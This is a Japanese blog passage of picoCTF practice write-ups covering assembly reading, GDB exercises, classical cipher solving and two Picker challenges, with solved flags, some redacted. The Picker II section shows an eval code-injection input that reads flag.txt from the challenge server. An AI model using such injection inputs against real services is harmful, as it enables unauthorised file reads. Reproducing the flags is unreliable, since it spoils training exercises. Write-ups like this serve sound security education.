picoCTF よりpicoGym Practice ChallengesのWriteUp その4。
前記事が一定のボリュームに達したので、新記事を設けることにした。
解けた問題から順次WriteUpを追加していく予定。
※記事のボリュームが増えてきたので新記事を設けた。今後は新記事の方を更新予定。
過去のWriteUp記事の一覧はこちら。
- ASCII FTW (100points)
- Bit-O-Asm-1 (100points)
- Bit-O-Asm-2 (100points)
- Bit-O-Asm-3 (100points)
- Bit-O-Asm-4 (100points)
- GDB baby step 1 (100points)
- GDB baby step 2 (100points)
- GDB baby step 3 (100points)
- GDB baby step 4 (100points)
- Picker I (100points)
- Picker II (100points)
- substitution0 (100points)
- substitution1 (100points)
- substitution2 (100points)
- Vigenere (100points)
- transposition-trial (100points)
- morse-code (100points)
- rail-fence (100points)
- ReadMyCert (100points)
- rotation (100points)
- Tapping (200points)
- Flags (200points)
- First Find (100points)
- Big Zip (100points)
- ASCII Numbers (100points)
- Local Target (100points)
- Picker IV (100points)
- Picker III (100points)
- la cifra de (200points)
- JAuth (300points)
- Codebook (100points)
- convertme.py (100points)
- fixme1.py (100points)
- fixme2.py (100points)
- Glitch Cat (100points)
- HashingJobApp (100points)
- PW Crack 1 (100points)
- PW Crack 2 (100points)
- PW Crack 3 (100points)
- PW Crack 4 (100points)
- PW Crack 5 (100points)
- runme.py (100points)
- Serpentine (100points)
- plumbing (200points)
- Based (200points)
- miniRSA (300points)
- rsa-pop-quiz (200points)
- mus1c (300points)
- money-ware (100points)
- Permissions (100points)
ASCII FTW (100points)
ELFファイルasciiftw
を解析してフラグを取得する問題。
アセンブリを見るだけでフラグを取れた。
.text:0000000000001184 C6 45 D0 70 mov [rbp+var_30], 70h ; 'p'
.text:0000000000001188 C6 45 D1 69 mov [rbp+var_2F], 69h ; 'i'
.text:000000000000118C C6 45 D2 63 mov [rbp+var_2E], 63h ; 'c'
.text:0000000000001190 C6 45 D3 6F mov [rbp+var_2D], 6Fh ; 'o'
.text:0000000000001194 C6 45 D4 43 mov [rbp+var_2C], 43h ; 'C'
.text:0000000000001198 C6 45 D5 54 mov [rbp+var_2B], 54h ; 'T'
.text:000000000000119C C6 45 D6 46 mov [rbp+var_2A], 46h ; 'F'
.text:00000000000011A0 C6 45 D7 7B mov [rbp+var_29], 7Bh ; '{'
.text:00000000000011A4 C6 45 D8 41 mov [rbp+var_28], 41h ; 'A'
.text:00000000000011A8 C6 45 D9 53 mov [rbp+var_27], 53h ; 'S'
.text:00000000000011AC C6 45 DA 43 mov [rbp+var_26], 43h ; 'C'
.text:00000000000011B0 C6 45 DB 49 mov [rbp+var_25], 49h ; 'I'
.text:00000000000011B4 C6 45 DC 49 mov [rbp+var_24], 49h ; 'I'
.text:00000000000011B8 C6 45 DD 5F mov [rbp+var_23], 5Fh ; '_'
.text:00000000000011BC C6 45 DE 49 mov [rbp+var_22], 49h ; 'I'
.text:00000000000011C0 C6 45 DF 53 mov [rbp+var_21], 53h ; 'S'
.text:00000000000011C4 C6 45 E0 5F mov [rbp+var_20], 5Fh ; '_'
.text:00000000000011C8 C6 45 E1 45 mov [rbp+var_1F], 45h ; 'E'
.text:00000000000011CC C6 45 E2 41 mov [rbp+var_1E], 41h ; 'A'
.text:00000000000011D0 C6 45 E3 53 mov [rbp+var_1D], 53h ; 'S'
.text:00000000000011D4 C6 45 E4 59 mov [rbp+var_1C], 59h ; 'Y'
.text:00000000000011D8 C6 45 E5 5F mov [rbp+var_1B], 5Fh ; '_'
Bit-O-Asm-1 (100points)
以下のアセンブリ命令を読んでeaxに格納される値を答える問題。
<+0>: endbr64
<+4>: push rbp
<+5>: mov rbp,rsp
<+8>: mov DWORD PTR [rbp-0x4],edi
<+11>: mov QWORD PTR [rbp-0x10],rsi
<+15>: mov eax,0x30
<+20>: pop rbp
<+21>: ret
eaxに格納される値は10進数で48。
>>> 0x30
48
Bit-O-Asm-2 (100points)
以下のアセンブリ命令を読んでeaxに格納される値を答える問題。
<+0>: endbr64
<+4>: push rbp
<+5>: mov rbp,rsp
<+8>: mov DWORD PTR [rbp-0x14],edi
<+11>: mov QWORD PTR [rbp-0x20],rsi
<+15>: mov DWORD PTR [rbp-0x4],0x9fe1a
<+22>: mov eax,DWORD PTR [rbp-0x4]
<+25>: pop rbp
<+26>: ret
eaxに格納される値は10進数で654874。
>>> 0x9fe1a
654874
Bit-O-Asm-3 (100points)
以下のアセンブリ命令を読んでeaxに格納される値を答える問題。
<+0>: endbr64
<+4>: push rbp
<+5>: mov rbp,rsp
<+8>: mov DWORD PTR [rbp-0x14],edi
<+11>: mov QWORD PTR [rbp-0x20],rsi
<+15>: mov DWORD PTR [rbp-0xc],0x9fe1a
<+22>: mov DWORD PTR [rbp-0x8],0x4
<+29>: mov eax,DWORD PTR [rbp-0xc]
<+32>: imul eax,DWORD PTR [rbp-0x8]
<+36>: add eax,0x1f5
<+41>: mov DWORD PTR [rbp-0x4],eax
<+44>: mov eax,DWORD PTR [rbp-0x4]
<+47>: pop rbp
<+48>: ret
eaxに格納される値は10進数で2619997。
>>> (0x9fe1a * 0x4) + 0x1f5
2619997
Bit-O-Asm-4 (100points)
以下のアセンブリ命令を読んでeaxに格納される値を答える問題。
<+0>: endbr64
<+4>: push rbp
<+5>: mov rbp,rsp
<+8>: mov DWORD PTR [rbp-0x14],edi
<+11>: mov QWORD PTR [rbp-0x20],rsi
<+15>: mov DWORD PTR [rbp-0x4],0x9fe1a
<+22>: cmp DWORD PTR [rbp-0x4],0x2710
<+29>: jle 0x55555555514e <main+37>
<+31>: sub DWORD PTR [rbp-0x4],0x65
<+35>: jmp 0x555555555152 <main+41>
<+37>: add DWORD PTR [rbp-0x4],0x65
<+41>: mov eax,DWORD PTR [rbp-0x4]
<+44>: pop rbp
<+45>: ret
以下は上記のアセンブリ命令の疑似コードである。
if (0x9fe1a <= 0x2710):
eax = 0x9fe1a + 0x65
else:
eax = 0x9fe1a - 0x65
eaxに格納される値は10進数で654773。
>>> 0x9fe1a - 0x65
654773
GDB baby step 1 (100points
ELFファイルdebugger0_a
を解析してmain関数の完了後にeaxに格納される値を答える問題。
アセンブリを見るだけでフラグを取れた。
.text:0000000000001129 F3 0F 1E FA endbr64
.text:000000000000112D 55 push rbp
.text:000000000000112E 48 89 E5 mov rbp, rsp
.text:0000000000001131 89 7D FC mov [rbp+var_4], edi
.text:0000000000001134 48 89 75 F0 mov [rbp+var_10], rsi
.text:0000000000001138 B8 42 63 08 00 mov eax, 549698
.text:000000000000113D 5D pop rbp
eaxに格納される値は10進数で549698 。
GDB baby step 2 (100points)
ELFファイルdebugger0_b
を解析してmain関数の完了後にeaxに格納される値を答える問題。
アセンブリを見てみると、大して複雑な処理ではなかったので、デバッガは使わずに頭の体操がてら 処理をPythonコードに落とし込んでみた。
var_4 = 123098
var_c = 607
var_8 = 0
while (var_8 < var_c):
var_4 = var_4 + var_8
var_8 += 1
print(var_4)
$ python3 pseudo-code.py
307019
eaxに格納される値は10進数で307019。
GDB baby step 3 (100points)
ELFファイルdebugger0_c
を解析してフラグを取得する問題。
debugger0_c
のmain関数で0x2262c96b
という値がメモリにロードされるが、この値がメモリ上でどのように配置されているか、GDBコマンド x/4xb addr
を駆使して答えよとのこと。
x86のバイトオーダーはリトルエンディアンなので、0x2262c96b
はメモリ上では0x6b
0xc9
0x62
0x22
と配置される。よってフラグは0x6bc96222
となる。
GDB baby step 4 (100points)
ELFファイルdebugger0_d
を解析してフラグを取得する問題。
eaxの値と掛け算される定数を十進数で答えよとのこと。
以下は掛け算処理のアセンブリである。
.text:0000000000401106 public func1
.text:0000000000401106 func1 proc near
.text:0000000000401106
.text:0000000000401106 var_4= dword ptr -4
.text:0000000000401106
.text:0000000000401106 F3 0F 1E FA endbr64
.text:000000000040110A 55 push rbp
.text:000000000040110B 48 89 E5 mov rbp, rsp
.text:000000000040110E 89 7D FC mov [rbp+var_4], edi
.text:0000000000401111 8B 45 FC mov eax, [rbp+var_4]
.text:0000000000401114 69 C0 69 32 00 00 imul eax, 12905
.text:000000000040111A 5D pop rbp
.text:000000000040111B C3 retn
.text:000000000040111B func1 endp
eaxと12905が掛け算されている。
フラグは12905である。
Picker I (100points)
遠隔のサーバー上で実行されているプログラムを解析してフラグを取得する問題。
以下のnetcatコマンドでサーバーに接続する。(※サーバーのポート番号はインスタンスの起動のたびに変更される。)
nc saturn.picoctf.net 56539
また、プログラムのソースコードpicker-I.py
も一緒に渡された。
import sys
def getRandomNumber():
print(4) # Chosen by fair die roll.
# Guaranteed to be random.
# (See XKCD)
def exit():
sys.exit(0)
def esoteric1():
esoteric = \
'''
int query_apm_bios(void)
{
struct biosregs ireg, oreg;
/* APM BIOS installation check */
initregs(&ireg);
ireg.ah = 0x53;
intcall(0x15, &ireg, &oreg);
if (oreg.flags & X86_EFLAGS_CF)
return -1; /* No APM BIOS */
if (oreg.bx != 0x504d) /* "PM" signature */
return -1;
if (!(oreg.cx & 0x02)) /* 32 bits supported? */
return -1;
/* Disconnect first, just in case */
ireg.al = 0x04;
intcall(0x15, &ireg, NULL);
/* 32-bit connect */
ireg.al = 0x03;
intcall(0x15, &ireg, &oreg);
boot_params.apm_bios_info.cseg = oreg.ax;
boot_params.apm_bios_info.offset = oreg.ebx;
boot_params.apm_bios_info.cseg_16 = oreg.cx;
boot_params.apm_bios_info.dseg = oreg.dx;
boot_params.apm_bios_info.cseg_len = oreg.si;
boot_params.apm_bios_info.cseg_16_len = oreg.hsi;
boot_params.apm_bios_info.dseg_len = oreg.di;
if (oreg.flags & X86_EFLAGS_CF)
return -1;
/* Redo the installation check as the 32-bit connect;
some BIOSes return different flags this way... */
ireg.al = 0x00;
intcall(0x15, &ireg, &oreg);
if ((oreg.eflags & X86_EFLAGS_CF) || oreg.bx != 0x504d) {
/* Failure with 32-bit connect, try to disconnect and ignore */
ireg.al = 0x04;
intcall(0x15, &ireg, NULL);
return -1;
}
boot_params.apm_bios_info.version = oreg.ax;
boot_params.apm_bios_info.flags = oreg.cx;
return 0;
}
'''
print(esoteric)
def win():
# This line will not work locally unless you create your own 'flag.txt' in
# the same directory as this script
flag = open('flag.txt', 'r').read()
#flag = flag[:-1]
flag = flag.strip()
str_flag = ''
for c in flag:
str_flag += str(hex(ord(c))) + ' '
print(str_flag)
def esoteric2():
esoteric = \
'''
#include "boot.h"
#define MAX_8042_LOOPS 100000
#define MAX_8042_FF 32
static int empty_8042(void)
{
u8 status;
int loops = MAX_8042_LOOPS;
int ffs = MAX_8042_FF;
while (loops--) {
io_delay();
status = inb(0x64);
if (status == 0xff) {
/* FF is a plausible, but very unlikely status */
if (!--ffs)
return -1; /* Assume no KBC present */
}
if (status & 1) {
/* Read and discard input data */
io_delay();
(void)inb(0x60);
} else if (!(status & 2)) {
/* Buffers empty, finished! */
return 0;
}
}
return -1;
}
/* Returns nonzero if the A20 line is enabled. The memory address
used as a test is the int $0x80 vector, which should be safe. */
#define A20_TEST_ADDR (4*0x80)
#define A20_TEST_SHORT 32
#define A20_TEST_LONG 2097152 /* 2^21 */
static int a20_test(int loops)
{
int ok = 0;
int saved, ctr;
set_fs(0x0000);
set_gs(0xffff);
saved = ctr = rdfs32(A20_TEST_ADDR);
while (loops--) {
wrfs32(++ctr, A20_TEST_ADDR);
io_delay(); /* Serialize and make delay constant */
ok = rdgs32(A20_TEST_ADDR+0x10) ^ ctr;
if (ok)
break;
}
wrfs32(saved, A20_TEST_ADDR);
return ok;
}
/* Quick test to see if A20 is already enabled */
static int a20_test_short(void)
{
return a20_test(A20_TEST_SHORT);
}
'''
print(esoteric)
while(True):
try:
print('Try entering "getRandomNumber" without the double quotes...')
user_input = input('==> ')
eval(user_input + '()')
except Exception as e:
print(e)
win()
という関数を実行すればflag.txt
からフラグが読み取れるようである。
サーバーに接続するとgetRandomNumber
と入力しろと言われる。入力するとgetRandomNumber()
関数が実行されて、4と出力される。
$ nc saturn.picoctf.net 56539
Try entering "getRandomNumber" without the double quotes...
==> getRandomNumber
4
Try entering "getRandomNumber" without the double quotes...
どうやら関数名を入力すると、その関数が実行されて戻り値がサーバーのレスポンスとして返されるようである。
win
と入力したところwin()
関数が実行されてHexエンコードされたフラグが出力された。
Try entering "getRandomNumber" without the double quotes...
==> win
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x5f 0x64 0x31 0x34 0x6d 0x30 0x6e 0x64 0x5f 0x31 0x6e 0x5f 0x37 0x68 0x33 0x5f 0x72 0x30 0x75 0x67 0x68 0x5f 0x36 0x65 0x30 0x34 0x34 0x34 0x30 0x64 0x7d
Try entering "getRandomNumber" without the double quotes...
Hexデコードするとフラグを取れた。
$ echo 7069636f4354467b345f6431346d306e645f316e5f3768335f72307567685f36653034343430647d | xxd -r -p
picoCTF{4_d14m0nd_1n_7h3_r0ugh_<REDACTED>}
Picker II (100points)
遠隔のサーバー上で実行されているプログラムを解析してフラグを取得する問題。
以下のnetcatコマンドでサーバーに接続する。(※サーバーのポート番号はインスタンスの起動のたびに変更される。)
nc saturn.picoctf.net 52705
また、プログラムのソースコードpicker-II.py
も一緒に渡された。
import sys
def getRandomNumber():
print(4) # Chosen by fair die roll.
# Guaranteed to be random.
# (See XKCD)
def exit():
sys.exit(0)
def esoteric1():
esoteric = \
'''
int query_apm_bios(void)
{
struct biosregs ireg, oreg;
/* APM BIOS installation check */
initregs(&ireg);
ireg.ah = 0x53;
intcall(0x15, &ireg, &oreg);
if (oreg.flags & X86_EFLAGS_CF)
return -1; /* No APM BIOS */
if (oreg.bx != 0x504d) /* "PM" signature */
return -1;
if (!(oreg.cx & 0x02)) /* 32 bits supported? */
return -1;
/* Disconnect first, just in case */
ireg.al = 0x04;
intcall(0x15, &ireg, NULL);
/* 32-bit connect */
ireg.al = 0x03;
intcall(0x15, &ireg, &oreg);
boot_params.apm_bios_info.cseg = oreg.ax;
boot_params.apm_bios_info.offset = oreg.ebx;
boot_params.apm_bios_info.cseg_16 = oreg.cx;
boot_params.apm_bios_info.dseg = oreg.dx;
boot_params.apm_bios_info.cseg_len = oreg.si;
boot_params.apm_bios_info.cseg_16_len = oreg.hsi;
boot_params.apm_bios_info.dseg_len = oreg.di;
if (oreg.flags & X86_EFLAGS_CF)
return -1;
/* Redo the installation check as the 32-bit connect;
some BIOSes return different flags this way... */
ireg.al = 0x00;
intcall(0x15, &ireg, &oreg);
if ((oreg.eflags & X86_EFLAGS_CF) || oreg.bx != 0x504d) {
/* Failure with 32-bit connect, try to disconnect and ignore */
ireg.al = 0x04;
intcall(0x15, &ireg, NULL);
return -1;
}
boot_params.apm_bios_info.version = oreg.ax;
boot_params.apm_bios_info.flags = oreg.cx;
return 0;
}
'''
print(esoteric)
def win():
# This line will not work locally unless you create your own 'flag.txt' in
# the same directory as this script
flag = open('flag.txt', 'r').read()
#flag = flag[:-1]
flag = flag.strip()
str_flag = ''
for c in flag:
str_flag += str(hex(ord(c))) + ' '
print(str_flag)
def esoteric2():
esoteric = \
'''
#include "boot.h"
#define MAX_8042_LOOPS 100000
#define MAX_8042_FF 32
static int empty_8042(void)
{
u8 status;
int loops = MAX_8042_LOOPS;
int ffs = MAX_8042_FF;
while (loops--) {
io_delay();
status = inb(0x64);
if (status == 0xff) {
/* FF is a plausible, but very unlikely status */
if (!--ffs)
return -1; /* Assume no KBC present */
}
if (status & 1) {
/* Read and discard input data */
io_delay();
(void)inb(0x60);
} else if (!(status & 2)) {
/* Buffers empty, finished! */
return 0;
}
}
return -1;
}
/* Returns nonzero if the A20 line is enabled. The memory address
used as a test is the int $0x80 vector, which should be safe. */
#define A20_TEST_ADDR (4*0x80)
#define A20_TEST_SHORT 32
#define A20_TEST_LONG 2097152 /* 2^21 */
static int a20_test(int loops)
{
int ok = 0;
int saved, ctr;
set_fs(0x0000);
set_gs(0xffff);
saved = ctr = rdfs32(A20_TEST_ADDR);
while (loops--) {
wrfs32(++ctr, A20_TEST_ADDR);
io_delay(); /* Serialize and make delay constant */
ok = rdgs32(A20_TEST_ADDR+0x10) ^ ctr;
if (ok)
break;
}
wrfs32(saved, A20_TEST_ADDR);
return ok;
}
/* Quick test to see if A20 is already enabled */
static int a20_test_short(void)
{
return a20_test(A20_TEST_SHORT);
}
'''
print(esoteric)
def filter(user_input):
if 'win' in user_input:
return False
return True
while(True):
try:
user_input = input('==> ')
if( filter(user_input) ):
eval(user_input + '()')
else:
print('Illegal input')
except Exception as e:
print(e)
win()
という関数の中でflag.txt
からフラグを読み出しているのが分かる。
基本的にはPicker Iと同じだが、filter()
という関数が追加されており、ユーザーの入力にwin
という文字列が含まれていた場合、入力が弾かれてしまいwin()
関数を実行できない。
$ nc saturn.picoctf.net 56505
==> win
Illegal input
==>
ただし、Picker I 同様、このプログラムにはOSコマンド・インジェクションの脆弱性があり、ユーザーは任意のPythonコマンドを実行することが出来る。以下が該当の脆弱なコード部分である。
eval(user_input + '()')
以下のPythonコマンドを入力することでフラグを取ることが出来た。
print(open('flag.txt', 'r').read())
$ nc saturn.picoctf.net 52705
==> print(open('flag.txt', 'r').read())
picoCTF{f1l73r5_f41l_c0d3_r3f4c70r_m1gh7_5ucc33d_<REDACTED>}
'NoneType' object is not callable
substitution0 (100points)
暗号化されたメッセージmessage.txt
を復号してフラグを取得する問題。
以下、message.txt
の内容。
OHNFUMWSVZLXEGCPTAJDYIRKQB
Suauypcg Xuwaogf oacju, rvds o waoiu ogf jdoduxq ova, ogf hacywsd eu dsu huudxu
mace o wxojj noju vg rsvns vd roj ugnxcjuf. Vd roj o huoydvmyx jnoaohouyj, ogf, od
dsod dveu, yglgcrg dc godyaoxvjdj—cm ncyaju o wauod pavbu vg o jnvugdvmvn pcvgd
cm ivur. Dsuau ruau drc acygf hxonl jpcdj guoa cgu ukdauevdq cm dsu honl, ogf o
xcgw cgu guoa dsu cdsua. Dsu jnoxuj ruau uknuufvgwxq soaf ogf wxcjjq, rvds oxx dsu
oppuoaognu cm hyagvjsuf wcxf. Dsu ruvwsd cm dsu vgjund roj iuaq aueoalohxu, ogf,
dolvgw oxx dsvgwj vgdc ncgjvfuaodvcg, V ncyxf soafxq hxoeu Zypvdua mca svj cpvgvcg
aujpundvgw vd.
Dsu mxow vj: pvncNDM{5YH5717Y710G_3I0XY710G_03055505}
メッセージ冒頭のOHNFUMWSVZLXEGCPTAJDYIRKQB
が換字表となる。
以下のワンライナーでフラグを取れた。
echo "pvncNDM{5YH5717Y710G_3I0XY710G_03055505}" | tr "OHNFUMWSVZLXEGCPTAJDYIRKQB" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" | tr "ohnfumwsvzlxegcptajdyirkqb" "abcdefghijklmnopqrstuvwxyz"
0$ echo "pvncNDM{5YH5717Y710G_3I0XY710G_03055505}" | tr "OHNFUMWSVZLXEGCPTAJDYIRKQB" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" | tr "ohnfumwsvzlxegcptajdyirkqb" "abcdefghijklmnopqrstuvwxyz"
picoCTF{5UB5717U710N_3V0LU710N_<REDACTED>}
ちなみに以下は復号したmessage.txt
の全文。
$ cat message.txt | tr "OHNFUMWSVZLXEGCPTAJDYIRKQB" "ABCDEF
GHIJKLMNOPQRSTUVWXYZ" | tr "ohnfumwsvzlxegcptajdyirkqb" "abcdefghijklmnopqrstuvwxyz"
ABCDEFGHIJKLMNOPQRSTUVWXYZ
Hereupon Legrand arose, with a grave and stately air, and brought me the beetle
from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at
that time, unknown to naturalists—of course a great prize in a scientific point
of view. There were two round black spots near one extremity of the back, and a
long one near the other. The scales were exceedingly hard and glossy, with all the
appearance of burnished gold. The weight of the insect was very remarkable, and,
taking all things into consideration, I could hardly blame Jupiter for his opinion
respecting it.
The flag is: picoCTF{5UB5717U710N_3V0LU710N_<REDACTED>}
substitution1 (100points)
暗号化されたメッセージmessage.txt
を復号してフラグを取得する問題。
後述するが、正直問題がイケてない気がした。
以下、message.txt
の内容。
ZWDg (gejfw djf zacwpfx wex dqar) afx a wscx jd zjicpwxf gxzpfbws zjicxwbwbjv. Zjvwxgwavwg afx cfxgxvwxm hbwe a gxw jd zeaqqxvrxg hebze wxgw wexbf zfxawbybws, wxzevbzaq (avm rjjrqbvr) gnbqqg, avm cfjtqxi-gjqybvr atbqbws. Zeaqqxvrxg pgpaqqs zjyxf a vpitxf jd zawxrjfbxg, avm hexv gjqyxm, xaze sbxqmg a gwfbvr (zaqqxm a dqar) hebze bg gptibwwxm wj av jvqbvx gzjfbvr gxfybzx. ZWDg afx a rfxaw has wj qxafv a hbmx affas jd zjicpwxf gxzpfbws gnbqqg bv a gadx, qxraq xvybfjvixvw, avm afx ejgwxm avm cqasxm ts iavs gxzpfbws rfjpcg afjpvm wex hjfqm djf dpv avm cfazwbzx. Djf webg cfjtqxi, wex dqar bg: cbzjZWD{DF3LP3VZS_4774ZN5_4F3_Z001_4871X6DT}
substitution0と同様に換字式暗号と思われる。
メッセージの最後の方に暗号化されたフラグcbzjZWD{DF3LP3VZS_4774ZN5_4F3_Z001_4871X6DT}
を確認できた。
フラグは常にpicoCTF
という文字から始まるので、とりあえずtr "cbzj" "pico" | tr "ZWD" "CTF"
でメッセージを変換してみた。
$ cat message.txt | tr "cbzj" "pico" | tr "ZWD" "CTF"
CTFg (geofw dof capwpfx wex dqar) afx a wspx od coippwxf gxcpfiws coipxwiwiov. Covwxgwavwg afx pfxgxvwxm hiwe a gxw od ceaqqxvrxg heice wxgw wexif cfxawiyiws, wxcevicaq (avm roorqivr) gniqqg, avm pfotqxi-goqyivr atiqiws. Ceaqqxvrxg pgpaqqs coyxf a vpitxf od cawxrofixg, avm hexv goqyxm, xace sixqmg a gwfivr (caqqxm a dqar) heice ig gptiiwwxm wo av ovqivx gcofivr gxfyicx. CTFg afx a rfxaw has wo qxafv a himx affas od coippwxf gxcpfiws gniqqg iv a gadx, qxraq xvyifovixvw, avm afx eogwxm avm pqasxm ts iavs gxcpfiws rfoppg afopvm wex hofqm dof dpv avm pfacwicx. Fof weig pfotqxi, wex dqar ig: picoCTF{FF3LP3VCS_4774CN5_4F3_C001_4871X6FT}
cbzjZWD{DF3LP3VZS_4774ZN5_4F3_Z001_4871X6DT}
がpicoCTF{FF3LP3VCS_4774CN5_4F3_C001_4871X6FT}
に変換されたが、これは正しいフラグではなかった。
どうやら、もう少し文字の変換パターンを調べる必要がありそう。
地道に頻度解析を行い、暗号文をあらかた復号することが出来た。
cat message.txt | tr "cbzjgefwdxqipvhnmtysr" "picoshrtfelmunwkdbvyg" | tr "ZWDGEFXQIPVHNMTYS" "CTFSHRELMUNWKDBVY"
$ cat message.txt | tr "cbzjgefwdxqipvhnmtysr" "picoshrtfelmunwkdbvyg" | tr "ZWDGEFXQIPVHNMTYS" "CTFSHRELMUNWKDBVY"
CTFs (short for capture the flag) are a type of computer security competition. Contestants are presented with a set of challenges which test their creativity, technical (and googling) skills, and problem-solving ability. Challenges usually cover a number of categories, and when solved, each yields a string (called a flag) which is submitted to an online scoring service. CTFs are a great way to learn a wide array of computer security skills in a safe, legal environment, and are hosted and played by many security groups around the world for fun and practice. For this problem, the flag is: picoCTF{FR3LU3NCY_4774CK5_4R3_C001_4871E6FB}
しかし、復号されたpicoCTF{FR3LU3NCY_4774CK5_4R3_C001_4871E6FB}
は正しいフラグではなかった。
正直もうこれ以上復号のしようがないと思ったので、ヒントを見てみた。
以下、ヒント。
Try a frequency attack
このヒントを見て、フラグの中に含まれていたL
をQ
に変えてみたところ、フラグが通った。
picoCTF{FR3LU3NCY_4774CK5_4R3_C001_4871E6FB}
→ picoCTF{FR3QU3NCY_4774CK5_4R3_C001_4871E6FB}
(FR3LU3NCY
→ FR3QU3NCY
)
しかしながら、大文字のL
は元の暗号文の中では一回しか出てこない。(小文字のl
に至っては、暗号文の中に登場すらしない)
以下はL
が唯一含まれていた部分である。
cbzjZWD{DF3LP3VZS_4774ZN5_4F3_Z001_4871X6DT}
なので、頻度解析をしたところでL
をQ
に変換するという解答に至るのは難しいような気がする。。。
substitution2 (100points)
暗号化されたメッセージmessage.txt
を復号してフラグを取得する問題。
以下、message.txt
の内容。
nafyffoxenefufytpqnafymfppfentkpxeafbaxraezaqqpzqgswnfyefzwyxnhzqgsfnxnxqlexlzpwbxlrzhkfystnyxqntlbwezhkfyzatppflrfnafefzqgsfnxnxqlevqzwesyxgtyxphqlehenfgetbgxlxenytnxqlvwlbtgflntpemaxzatyfufyhwefvwptlbgtycfntkpfecxppeaqmfufymfkfpxfufnafsyqsfyswysqefqvtaxraezaqqpzqgswnfyefzwyxnhzqgsfnxnxqlxelqnqlphnqnftzautpwtkpfecxppekwntpeqnqrfnenwbflnexlnfyfenfbxltlbfozxnfbtkqwnzqgswnfyezxflzfbfvflexufzqgsfnxnxqletyfqvnflptkqyxqwetvvtxyetlbzqgfbqmlnqywllxlrzafzcpxenetlbfofzwnxlrzqlvxrezyxsneqvvflefqlnafqnafyatlbxeaftuxphvqzwefbqlfospqytnxqltlbxgsyquxetnxqltlbqvnflatefpfgflneqvspthmfkfpxfuftzqgsfnxnxqlnqwzaxlrqlnafqvvflexuffpfgflneqvzqgswnfyefzwyxnhxenafyfvqyftkfnnfyufaxzpfvqynfzafutlrfpxegnqenwbflnexltgfyxztlaxraezaqqpevwynafymfkfpxfufnatntlwlbfyentlbxlrqvqvvflexufnfzalxiwfexefeeflnxtpvqygqwlnxlrtlfvvfznxufbfvfleftlbnatnnafnqqpetlbzqlvxrwytnxqlvqzweflzqwlnfyfbxlbfvflexufzqgsfnxnxqlebqfelqnpftbenwbflnenqclqmnafxyflfghtefvvfznxufphtenftzaxlrnafgnqtznxufphnaxlcpxcftltnntzcfysxzqznvxetlqvvflexufphqyxflnfbaxraezaqqpzqgswnfyefzwyxnhzqgsfnxnxqlnatneffcenqrflfytnfxlnfyfenxlzqgswnfyezxflzftgqlraxraezaqqpfyenftzaxlrnafgflqwratkqwnzqgswnfyefzwyxnhnqsxiwfnafxyzwyxqexnhgqnxutnxlrnafgnqfospqyfqlnafxyqmltlbfltkpxlrnafgnqkfnnfybfvflbnafxygtzaxlfenafvptrxesxzqZNV{L6Y4G_4L41H515_15_73B10W5_8F1KV808}
換字式暗号と思われるが、substitution0 やsubstitution1と異なり、空白や句読点が一切ない。
地道に頻度解析を行った。(フラグは常にpicoCTF
という文字から始まるとか、substitution0 やsubstitution1と同様、the flag is: <flag>
の一文が入っているはず~とか)
以下のコマンドでmessage.txt
を復号してフラグを取ることが出来た。
cat message.txt | tr 'sxzqnvfeptralugcywhbkmoi' 'picotfeslaghnvmkruydbwxq' | tr 'SXZQNVFEPTRALUGCYWHBKMOI' 'PICOTFESLAGHNVMKRUYDBWXQ'
$ cat message.txt | tr 'sxzqnvfeptralugcywhbkmoi' 'picotfeslaghnvmkruydbwxq' | tr 'SXZQNVFEPTRALUGCYWHBKMOI' 'PICOTFESLAGHNVMKRUYDBWXQ'
thereexistseveralotherwellestablishedhighschoolcomputersecuritycompetitionsincludingcyberpatriotanduscyberchallengethesecompetitionsfocusprimarilyonsystemsadministrationfundamentalswhichareveryusefulandmarketableskillshoweverwebelievetheproperpurposeofahighschoolcomputersecuritycompetitionisnotonlytoteachvaluableskillsbutalsotogetstudentsinterestedinandexcitedaboutcomputersciencedefensivecompetitionsareoftenlaboriousaffairsandcomedowntorunningchecklistsandexecutingconfigscriptsoffenseontheotherhandisheavilyfocusedonexplorationandimprovisationandoftenhaselementsofplaywebelieveacompetitiontouchingontheoffensiveelementsofcomputersecurityisthereforeabettervehiclefortechevangelismtostudentsinamericanhighschoolsfurtherwebelievethatanunderstandingofoffensivetechniquesisessentialformountinganeffectivedefenseandthatthetoolsandconfigurationfocusencounteredindefensivecompetitionsdoesnotleadstudentstoknowtheirenemyaseffectivelyasteachingthemtoactivelythinklikeanattackerpicoctfisanoffensivelyorientedhighschoolcomputersecuritycompetitionthatseekstogenerateinterestincomputerscienceamonghighschoolersteachingthemenoughaboutcomputersecuritytopiquetheircuriositymotivatingthemtoexploreontheirownandenablingthemtobetterdefendtheirmachinestheflagispicoCTF{N6R4M_4N41Y515_15_73D10U5_<REDACTED>}
ちなみに以下は上記のメッセージに空白を追加したもの。
there exist several other well established high school computer security competitions including cyber patriot and us cyber challenge these competitions focus primarily on systems administration fundamentals which are very useful and marketable skills however we believe the proper purpose of a high school computer security competition is not only to teach valuable skills but also to get students interested in and excited about computer science defensive competitions are often laborious affairs and come down to running check lists and executing config scripts offense on the other hand is heavily focused on exploration and improvisation and often has elements of play we believe a competition touching on the offensive elements of computer security is therefore a better vehicle for tech evangelism to students in american high schools further we believe that an understanding of offensive techniques is essential for mounting an effective defense and that the tools and configuration focus encountered in defensive competitions does not lead students to know their enemy as effectively as teaching them to actively think like an attacker picoctf is an offensively oriented high school computer security competition that seeks to generate interest in computer science among high schoolers teaching them enough about computer security to pique their curiosity motivating them to explore on their own and enabling them to better defend their machines the flag is picoCTF{N6R4M_4N41Y515_15_73D10U5_<REDACTED>}
Vigenere (100points)
ヴィジュネル暗号化されたフラグrgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_cc82272b}
を復号する問題。鍵はCYLAB
。
CyberChefのVigenère Decodeを利用して復号した。
transposition-trial (100points)
message.txt
を解析してフラグを取得する問題。
以下、message.txt
の中身。
heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V9AAB1F8}7
3文字ごとに、1文字目と3文字目が入れ替わっている。
heT
→ The
fl
→ fl
g a
→ a g
以下のスクリプトを書いてフラグを取得した。
corrupted_flag = 'heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V9AAB1F8}7'
# swap the 1st letter and the 3rd letter every 3 bytes.
for i in range(0, len(corrupted_flag)):
if((i+1) % 3 == 0):
decrypted_flag = corrupted_flag[i]
